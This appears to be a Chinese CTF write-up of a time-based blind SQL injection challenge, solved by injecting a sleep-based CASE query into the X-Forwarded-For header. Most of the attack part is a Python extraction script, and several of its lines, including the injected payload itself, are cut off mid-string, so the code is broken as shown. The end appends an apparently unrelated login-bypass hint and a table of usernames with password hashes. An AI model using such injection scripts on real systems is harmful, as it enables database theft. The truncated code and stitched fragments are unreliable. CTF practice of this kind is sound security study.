CTF实验吧-who are you?【基于sleep盲注脚本】

原创

Sp4rkW 于 2017-07-21 14:01:38 发布 4700 收藏
文章标签： ctf web 实验吧

原题链接： http://ctf5.shiyanbar.com/web/wonderkun/index.php

首先打开链接看到显示your ip is : xxx

首先想到这个题目与ip有关系，即与X-Forwarded-For存在一定关系

实验了一下，这里使用了google的Modify-http-headers插件进行修改ip为127.0.0.1，发现链接打开显示确实改变了，但是依旧没有任何关于flag的线索，bp看了一下，，，果然是想当然，一无所获，然后重新看了下题目意思

划重点：记录db中去

完美，这就告诉了我们一件事，即X-Forwarded-For对应值被先存入数据库，再取出来，而不是直接显示给我们看

盲注，没有什么其他的注入方式了，此时能想到的（作者的水平，哈哈哈）盲注了

盲注分三种常见形式：分别基于布尔值，报错，时间延迟

简单测试，sleep有延时反应，应该是时间盲注了

下面附上代码：

```
# -*-coding:utf-8-*-

import requests
import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'  #不区分大小写的

flag = ""
print("Start")
for i in range(33):
    for payload in payloads:
        starttime = time.time()#记录当前时间
        url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#题目url
        headers = {"Host": "ctf5.shiyanbar.com",
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                   "Accept-Encoding": "gzip, deflate",
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471
                   "Connection": "keep-alive",
                   "X-FORWARDED-FOR":"127.0.0.1' and case when ((select count(flag) from flag where flag li
                   }
  #bp拿到header并对X-FORWARDED-FOR进行修改，后面语句大意为从flag中选择出flag，若首字母段为flag，payload变量拼接则sle
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 5:
            starttime2 = time.time()
            res = requests.get(url, headers=headers)
            if time.time() - starttime > 5:
                flag += payload
                print('\n flag is:', flag, )
                break
        else:
            print('',)#没啥解释的了，就是不断试payload，找到就接到flag上去然后继续试下一个
print('\n[Finally] current flag is %s' % flag)
```

关于flag，大家自己可以跑同原理跑一下数据库名，表名，表名有个叫flag，可以得到列名flag

ctf{ }

hint :
username: '='
password: '='

username	password
hell02w	69bc7cf459bcff03625939193ec71e0e
w0d3rkun	dbb9111e4ed03e2d4021c3c3b0ac8749
mut0r3nl	86846490336911c0f3c6e07cc197d22c